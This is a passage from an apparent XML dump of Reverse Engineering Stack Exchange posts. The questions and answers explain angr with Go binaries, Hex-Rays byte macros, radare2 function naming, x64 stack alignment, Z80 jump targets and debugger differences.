0x00490d4f)&#xA;&#xA;print(sm.found[0].posix.dumps(0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do not understand why angr does not return &quot;goodpassword&quot; string.&#xA;I have something wrong but i do not understand what...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help&lt;/p&gt;&#xA;" OwnerUserId="18590" LastActivityDate="2019-01-13T11:26:59.743" Title="angr with a golang target" Tags="|angr|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20353" PostTypeId="1" CreationDate="2019-01-13T09:32:30.103" Score="1" ViewCount="3842" Body="&lt;p&gt;What is the meaning of the following pseudo-code?:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;BYTE1(v2)&lt;/code&gt; or &lt;code&gt;BYTE1(v2)&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;HIBYTE(v2)&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there any explanation for those macros? How can I implement those macros in C code?&lt;/p&gt;&#xA;" OwnerUserId="27074" LastEditorUserId="245" LastEditDate="2019-01-14T09:46:14.770" LastActivityDate="2021-01-15T20:33:15.710" Title="Understanding Hex-Rays pseudo code" Tags="|hexrays|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20355" PostTypeId="2" ParentId="20352" CreationDate="2019-01-13T11:26:59.743" Score="3" Body="&lt;p&gt;The Go run time is fairly complicated that symbolic solvers will not run out-of-the-box as-is. You are asking &lt;code&gt;angr&lt;/code&gt; to figure out everything on it's own which may be feasible for simple and uncomplicated C programs but not for something like Go binaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the &lt;code&gt;fmt.Scanln&lt;/code&gt; function will call multiple Go functions before you reach &lt;code&gt;libc.read&lt;/code&gt;. Angr has SimProcedures for &lt;code&gt;read&lt;/code&gt; but not for &lt;code&gt;fmt.Scanln&lt;/code&gt;. To figure out what &lt;code&gt;fmt.Scanln&lt;/code&gt; does it has to symbolically execute after which only it may able to discover the dependency between &lt;code&gt;stdin&lt;/code&gt; and the program output. Symbolically executing &lt;code&gt;Scanln&lt;/code&gt; is by no way a simple task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, you should break down the problem in parts which you can ask &lt;code&gt;angr&lt;/code&gt; to solve. Like if you have identified the buffer where the user input is stored you can mark that as symbolic and instruct &lt;code&gt;angr&lt;/code&gt; to find the path to the &quot;good password&quot; branch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further resources on Go reversing:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://r3xnation.wordpress.com/2018/01/11/reversing-go-binaries-part-1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://r3xnation.wordpress.com/2018/01/11/reversing-go-binaries-part-1/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://2016.zeronights.ru/wp-content/uploads/2016/12/GO_Zaytsev.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2016.zeronights.ru/wp-content/uploads/2016/12/GO_Zaytsev.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2019-01-13T11:26:59.743" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20356" PostTypeId="2" ParentId="20353" CreationDate="2019-01-13T12:26:05.513" Score="4" Body="&lt;p&gt;&lt;code&gt;BYTE1(v2)&lt;/code&gt; is the second byte of value v2. according to &lt;a href=&quot;https://github.com/nihilus/hexrays_tools/blob/master/code/defs.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;the reference&lt;/a&gt; it's Zero-Indexed. defined as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define BYTEn(x, n)   (*((_BYTE*)&amp;amp;(x)+n))&#xA;#define BYTE1(x)   BYTEn(x,  1)         // byte 1 (counting from 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for example &lt;code&gt;BYTE1(0x1213141516)&lt;/code&gt; is 0x15. (according to Little Endian Byte Order)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;HIBYTE(v2)&lt;/code&gt; is the higher byte of value v2. defined as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define HIBYTE(x)   (*((_BYTE*)&amp;amp;(x)+1))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for example &lt;code&gt;HIBYTE(0x1213)&lt;/code&gt; is 0x12. (according to Little Endian Byte Order) &lt;/p&gt;&#xA;" OwnerUserId="12687" LastEditorUserId="12687" LastEditDate="2019-01-13T12:31:27.343" LastActivityDate="2019-01-13T12:31:27.343" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20359" PostTypeId="1" AcceptedAnswerId="20370" CreationDate="2019-01-13T18:14:37.570" Score="3" ViewCount="896" Body="&lt;p&gt;Radare2's afl command returns function names with a specific syntax that I could not find documentation on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;radare2 -2 -A -q -c &quot;aflj&quot; C:/Windows/system32/advapi32.dll&#xA;&#xA;0x77cce13c   22 280          sub.ntdll.dll_RtlNtStatusToDosError_13c&#xA;0x77cce259    7 62           fcn.77cce259&#xA;0x77cce29c   10 88           sub.KERNEL32.dll_lstrcmpiW_29c&#xA;0x77cce2f9   24 463          sub.KERNEL32.dll_lstrlenW_2f9&#xA;0x77c617b4    1 40           sym.imp.KERNEL32.dll_LocalAlloc&#xA;0x77c6abe5    5 92   -&amp;gt; 130  sub.KERNEL32.dll_LocalAlloc_be5&#xA;0x77c7edd5    1 20           sub.KERNEL32.dll_LocalAlloc_dd5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What is the meaning of the hexadecimal number after the function name ?&lt;/li&gt;&#xA;&lt;li&gt;Why is the core difference between the prefixes &quot;sym.&quot; and &quot;sub.&quot; of DLL function names ?&lt;/li&gt;&#xA;&lt;li&gt;What is the difference between library names in lower or uppercase ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The DLL file names are all in lowercase:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;C:\Windows\System32\ntdll.dll&lt;/li&gt;&#xA;&lt;li&gt;C:\Windows\System32\kernel32.dll&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="26962" LastEditorUserId="26962" LastEditDate="2019-01-13T18:52:15.513" LastActivityDate="2019-01-14T15:11:29.477" Title="Function names syntax returned by radare2's afl?" Tags="|radare2|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20361" PostTypeId="2" ParentId="20329" CreationDate="2019-01-13T19:41:30.637" Score="2" Body="&lt;p&gt;The magic might be TLS callbacks that run before entry point is reached. This behavior is well documented, see for example the following article:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://isc.sans.edu/diary/How+Malware+Defends+Itself+Using+TLS+Callback+Functions/6655&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://isc.sans.edu/diary/How+Malware+Defends+Itself+Using+TLS+Callback+Functions/6655&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4192" LastActivityDate="2019-01-13T19:41:30.637" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20362" PostTypeId="1" AcceptedAnswerId="20374" CreationDate="2019-01-13T22:54:57.980" Score="1" ViewCount="146" Body="&lt;p&gt;I'm planning to read a MX25U1635E chip using the CH341a reader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The specs for that chip say it has a max voltage of 1.6-2.0 volts. The reader has an output of 3.3-5.0 volts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most tutorials for the reader instruct you to just clamp it on the chip and start reading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I do that in my case, or do I have tweak the CH341a voltage down somehow before reading the chip? &lt;/p&gt;&#xA;" OwnerUserId="27086" LastActivityDate="2019-01-14T22:12:21.513" Title="Flash ROM has lower max voltage than read device?" Tags="|flash|bios|rom|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20363" PostTypeId="1" AcceptedAnswerId="20365" CreationDate="2019-01-14T00:34:45.400" Score="0" ViewCount="8044" Body="&lt;p&gt;I have just converted this piece of code in assembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;int main(int argc, char** argv) {&#xA;    return (1);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are my questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Once you push the base-pointer value on to the stack, RSP will decrement automatically (to a lower address). This will also happen when memory was allocated for argc and argv (&quot;mov dword&quot; and &quot;mov qword&quot;). Is this correct? I don't see any instruction to move the stack-pointer up the stack, so I am assuming this is done implicitly.&lt;/li&gt;&#xA;&lt;li&gt;The instruction &quot;mov dword [rbp-4H], edi&quot; is 4 bytes less than the address in RBP, this is as expected since DWORD is 4 bytes in length. What I am confused about is why &quot;mov qword [rbp-10H], rsi&quot; is 10H (16 bytes)? Isn't QWORD 8 bytes in length? I was expecting the instruction to be &quot;mov qword [rbp-CH], rsi&quot;, since 4+8=12 bytes.&lt;/li&gt;&#xA;&lt;li&gt;Can you explain to me what the comments on the right-side are? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Below is the assembly code generated from my c program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SECTION .text   align=1 execute                         ; section number 1, code&#xA;&#xA;main:   ; Function begin&#xA;push    rbp                                     ; 0000 _ 55&#xA;mov     rbp, rsp                                ; 0001 _ 48: 89. E5&#xA;mov     dword [rbp-4H], edi                     ; 0004 _ 89. 7D, FC&#xA;mov     qword [rbp-10H], rsi                    ; 0007 _ 48: 89. 75, F0&#xA;mov     eax, 1                                  ; 000B _ B8, 00000001&#xA;pop     rbp                                     ; 0010 _ 5D&#xA;ret                                             ; 0011 _ C3&#xA;; main End of function&#xA;&#xA;&#xA;SECTION .data   align=1 noexecute                       ; section number 2, data&#xA;&#xA;SECTION .bss    align=1 noexecute                       ; section number 3, bss&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27078" LastActivityDate="2019-01-14T06:20:37.083" Title="Understanding assembly code: &quot;mov dword&quot; and &quot;mov qword&quot; in main.c" Tags="|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20365" PostTypeId="2" ParentId="20363" CreationDate="2019-01-14T06:20:37.083" Score="3" Body="&lt;p&gt;Variables are aligned to some extent to help faster access to them. The alignment value is usually an implementation detail, but compilers usually follow Intel's recommendations to align/place variables next to each other.&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel® 64 and IA-32 Architectures Optimization Reference Manual&lt;/a&gt;, section 3.6.7 Stack Alignment*:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Performance penalty of unaligned access to the stack happens when a&#xA;memory reference splits a cache line. This means that one out of eight&#xA;spatially consecutive unaligned quadword accesses is always penalized,&#xA;similarly for one out of 4 consecutive, non-aligned double-quadword&#xA;accesses, etc.&lt;/p&gt;&#xA;&lt;p&gt;Aligning the stack may be beneficial any time there are&#xA;data objects that exceed the default stack alignment of the system.&#xA;For example, on 32/64bit Linux, and 64bit Windows, the default stack&#xA;alignment is 16 bytes, while 32bit Windows is 4 bytes.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Assembly/Compiler Coding Rule 55. (H impact, M generality)&lt;/strong&gt; Make sure&#xA;that the stack is aligned at the largest multi-byte granular data type&#xA;boundary matching the register width.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In your case on x64 the registers are 8 bytes wide and &lt;code&gt;argc&lt;/code&gt; being an &lt;code&gt;int&lt;/code&gt; is 4 bytes wide. Following the guideline above the variables are aligned to 8-byte boundary.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; ► 0x5555555545fe &amp;lt;main+4&amp;gt;                   mov    dword ptr [rbp - 4], edi&#xA;   0x555555554601 &amp;lt;main+7&amp;gt;                   mov    qword ptr [rbp - 0x10], rsi&#xA;   0x555555554605 &amp;lt;main+11&amp;gt;                  mov    eax, 0x2a&#xA;   0x55555555460a &amp;lt;main+16&amp;gt;                  pop    rbp&#xA;   0x55555555460b &amp;lt;main+17&amp;gt;                  ret    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;edi&lt;/code&gt; stores &lt;code&gt;argc&lt;/code&gt; a 32 bit value - packed in a 64 bit boundary with the upper 32 bits of no use for you.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; tele rbp-0x10&#xA;00:0000│          0x7fffffffdf10 —▸ 0x7fffffffe000 ◂— 0x1&#xA;01:0008│          0x7fffffffdf18 ◂— 0x0&#xA;02:0010│ rbp rsp  0x7fffffffdf20 —▸ 0x555555554610 (__libc_csu_init) ◂— push   r15&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So the &lt;code&gt;argv&lt;/code&gt; starts 8 bytes above &lt;code&gt;argv&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-01-14T06:20:37.083" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20366" PostTypeId="1" CreationDate="2019-01-14T06:44:42.203" Score="4" ViewCount="502" Body="&lt;p&gt;I'm working on reverse engineering an embedded system which uses a Z80 processor. I'm using IDA as the disassembler. I ran upon an absolute jump (JP) that seems to jump to the middle of another instruction. I undefined and redefined the target location as code, and it disassembled into valid instructions, but they don't appear to do anything. I was wondering if I could get some help making sense of this or if I'm overlooking something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &#xA;This jump is an exit point for a loop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source + Bin + IDB file can be found &lt;a href=&quot;https://drive.google.com/drive/folders/1g9MN1R0PtrZcas8FmccKf9D0whMIPB9h&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jump code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Zm2n6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zm2n6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jump target with IDA auto disassembly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/c6siv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/c6siv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jump target after undefining and redefining 121 as code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/syjL8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/syjL8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27091" LastEditorUserId="27091" LastEditDate="2019-01-14T22:00:43.693" LastActivityDate="2021-12-03T12:57:10.750" Title="Z80 Absolute Jump to offset in middle of instruction" Tags="|ida|embedded|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20367" PostTypeId="1" CreationDate="2019-01-14T08:16:16.403" Score="1" ViewCount="1115" Body="&lt;p&gt;Lets suppose I have a very big binary and I want to reverse just a part of this binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to tell angr to start symbolic analysis at a given address ?&lt;/p&gt;&#xA;" OwnerUserId="18590" LastEditorUserId="53" LastEditDate="2019-01-15T14:29:40.367" LastActivityDate="2019-01-15T14:29:40.367" Title="Start Symbolic Analysis at a Given Address with Angr" Tags="|static-analysis|angr|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20368" PostTypeId="2" ParentId="20366" CreationDate="2019-01-14T08:24:44.683" Score="1" Body="&lt;p&gt;without any context we can only guess...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However &lt;code&gt;jp (hl)&lt;/code&gt; was commonly used for:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;jump to pointer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this one is obvious &lt;code&gt;hl&lt;/code&gt; points to a memory location that you want to jump to. You can do many things with this like for example you want to decide how to handle some input and you got more choices of handlers so you evaluate which to use in &lt;code&gt;hl&lt;/code&gt; and at the end just jump to it. The same goes for &lt;code&gt;mode&lt;/code&gt; of a program... For example you got more ways of rendering text or something and you want easily switch between them for the whole program ... then simply store the selected routine in some pointer and when needed jump to it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not have any context to your code but this is the most likely scenario:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;286Eh&lt;/code&gt; is the selected mode handler, &lt;code&gt;hl&lt;/code&gt; read that position using &lt;code&gt;ix&lt;/code&gt; and lastly routine jump to it. I am guessing the final &lt;code&gt;ret&lt;/code&gt; is in the routine somewhere.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;call/return to/from subroutine with non standard calling convention&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sometimes operands are passed to subroutines in non standard ways (not on stack) which prevent to use &lt;code&gt;call&lt;/code&gt; or &lt;code&gt;ret&lt;/code&gt; directly. In such cases &lt;code&gt;jp (hl)&lt;/code&gt; can solve such issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example take a look at this x86 example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/48664419/2521214&quot;&gt;Graphics mode in assembly 8086&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;the &lt;code&gt;printl&lt;/code&gt; is expecting printed string directly after the call ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call printl&#xA;db  'SPEKTRA software &amp;amp; hardware',0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this spares the input data pointer setting and also its more comfortable as the printed text is directly where it is used (not in some table in data section) also you do not need labels. As you can see the &lt;code&gt;printl&lt;/code&gt; can not ret directly to the address stored in stack. Instead it needs to jump after the text which is ideal usage of &lt;code&gt;jp (hl)&lt;/code&gt; example (however my x86 code does it differently due to different instruction set).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;resolve self modify code issues&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;configurable programs do not have static jump/call addresses so &lt;code&gt;jp (hl)&lt;/code&gt; can be used for configurable jumps...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now getting back to jumping into middle of instruction&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might be or might not be true. If you use disassembler then it does not know where the &lt;code&gt;ORG&lt;/code&gt; statement of each code segment is. So it instead translates from start of the file. When you are tracing then it takes the &lt;code&gt;PC&lt;/code&gt; as the starting position and translates from it relatively so if you scroll the listing you might got wrongly disassembled other parts of code. However after few continuous single byte instructions the code is aligned again so most of the code would be translated correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there are also cases when we deliberately jump to middle of instruction. Sometimes time sensitive code needs exact number of &lt;code&gt;[T]&lt;/code&gt; tacts to spend on some routine and jumping in the middle of some instruction can resolve missing &lt;code&gt;[T]&lt;/code&gt; states after some conditional behavior.&lt;/p&gt;&#xA;" OwnerUserId="4709" LastActivityDate="2019-01-14T08:24:44.683" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20370" PostTypeId="2" ParentId="20359" CreationDate="2019-01-14T15:11:29.477" Score="6" Body="&lt;p&gt;I will start by answering your specific three questions, and then will shed more light about the naming structure of functions in radare2.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What is the meaning of the hexadecimal number after the function name?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The meaning of the 3 hexadecimal digits at the end of function names like &quot;sub.KERNEL32.dll_lstrlenW_2f9&quot; are the last 3 digits of the function address. The confusion here is because this is not an imported function name, but a regular function. This naming caused by the &lt;code&gt;aan&lt;/code&gt; command which you probably used when you executed &lt;code&gt;aaa&lt;/code&gt; or opened a file with th &lt;code&gt;-A&lt;/code&gt; flag: &lt;code&gt;$ r2 -A &amp;lt;filename&amp;gt;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As stated in the radare2 documentation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;aan                 autoname functions that either start with fcn.* or sym.func.*&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;aan&lt;/code&gt; command will auto-generate a name, based on the flags being used in the function. This should ease the analysis for the user before analyzing the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let's have a look at a function which is called &lt;code&gt;sub.KERNEL32.dll_DisableThreadLibraryCalls_18002a860&lt;/code&gt;. You can see that an import function called &quot;DisableThreadLibraryCalls&quot; is being called. This is why the function was renamed by &lt;code&gt;aan&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x18002a860]&amp;gt; pdf&#xA;╭ (fcn) sub.KERNEL32.dll_DisableThreadLibraryCalls_18002a860 35&#xA;│   sub.KERNEL32.dll_DisableThreadLibraryCalls_18002a860 ();&#xA;│           ; arg unsigned int arg3 @ rdx&#xA;│           0x18002a860      4883ec28       sub rsp, 0x28&#xA;│           0x18002a864      83fa01         cmp edx, 1&#xA;│       ╭─&amp;lt; 0x18002a867      7510           jne 0x18002a879&#xA;│       │   0x18002a869      48833dff1f00.  cmp qword [0x18002c870], 0 ; [0x18002c870:8]=0&#xA;│      ╭──&amp;lt; 0x18002a871      7506           jne 0x18002a879&#xA;│      ││   0x18002a873      ff159f170000   call qword sym.imp.KERNEL32.dll_DisableThreadLibraryCalls &#xA;│      ╰╰─&amp;gt; 0x18002a879      b801000000     mov eax, 1&#xA;│           0x18002a87e      4883c428       add rsp, 0x28&#xA;╰           0x18002a882      c3             ret&#xA;[0x18002a860]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why is the core difference between the prefixes &quot;sym.&quot; and &quot;sub.&quot; of DLL function names?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sym&lt;/code&gt; stands for &quot;Symbol&quot;. This is a symbol taken from the binary's &lt;a href=&quot;https://en.wikipedia.org/wiki/Symbol_table&quot; rel=&quot;noreferrer&quot;&gt;Symbol Table&lt;/a&gt;.&#xA;&lt;code&gt;sub.&lt;/code&gt; stands for &quot;Subroutine&quot;. This can by a standalone function but most likely a part of a function, like JMPTABLE blocks, addresses in pointer table, etc.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What is the difference between library names in lower or uppercase?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In general, radare2 keeps the case of the libraries as shown in the Import Address Tables. But I think sometimes it is being modified in favor of readability and to make it easier to differentiate between an import function, and a renamed function (&lt;code&gt;aan&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;ASCII-ART Time&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I made some ASCII-arts for you, hope this would make things clearer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Regular Function&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fcn.77cce259&#xA;|      |&#xA;|      |__ The function's address&#xA;|&#xA;|__ stands for &quot;Function&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Imported function&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sym.imp.KERNEL32.dll_LocalAlloc&#xA; |   |     |            |&#xA; |   |     |            |__ The imported function name, &quot;LocalAlloc&quot;&#xA; |   |     |&#xA; |   |     |__ the Library name. In this case, &quot;kernel32.dll&quot;&#xA; |   |&#xA; |   |&#xA; |   |___ &quot;Import&quot;, this is an imported function&#xA; |&#xA; |___ &quot;Symbol&quot;, taken from the Symbol Table&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Auto-Generated Name&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub.ntdll.dll_RtlNtStatusToDosError_13c&#xA; |  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&#xA; |                   |&#xA; |                   |__ auto-generated name based on flags that being used&#xA; |                       the 3 digits at the end are the function's address&#xA; |__ &quot;Subroutine&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2019-01-14T15:11:29.477" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20371" PostTypeId="1" CreationDate="2019-01-14T17:33:01.227" Score="2" ViewCount="1174" Body="&lt;p&gt;When I do dynamic analyze of exe file I have few option , and I want to know what are the advantages and disadvantages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that Ida designated for static analyze , but there are some debugger in Ida and lot of time I do dynamic analyze with those debuggers&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;When I choose Ida I can choose between Win32 debugger or WinDbg debugger, what is the difference ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What is the difference between debug with Ida and debug with OllyDbg?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="26837" LastActivityDate="2019-01-14T22:25:52.660" Title="Debugger Win32 Local vs WinDbg in Ida vs Ollydbg" Tags="|ida|ollydbg|static-analysis|windbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20372" PostTypeId="1" AcceptedAnswerId="20420" CreationDate="2019-01-14T21:38:08.043" Score="0" ViewCount="98" Body="&lt;p&gt;I'm a bit confused about what &quot;system&quot; refers to when looking at the callstack in x64dbg. Does it mean the code is currently being executed in ring0? I thought that only system calls are executed in ring0? (Which would mean that only code in ntdll would be executed by the system?) The word system seems to appear next to functions in user32 etc. Any help in correcting my misunderstanding would be very much appreciated. Thanks a bunch&lt;/p&gt;&#xA;" OwnerUserId="22004" LastActivityDate="2019-01-19T18:43:05.423" Title="x64dbg &quot;System&quot; meaning" Tags="|windows|x64dbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
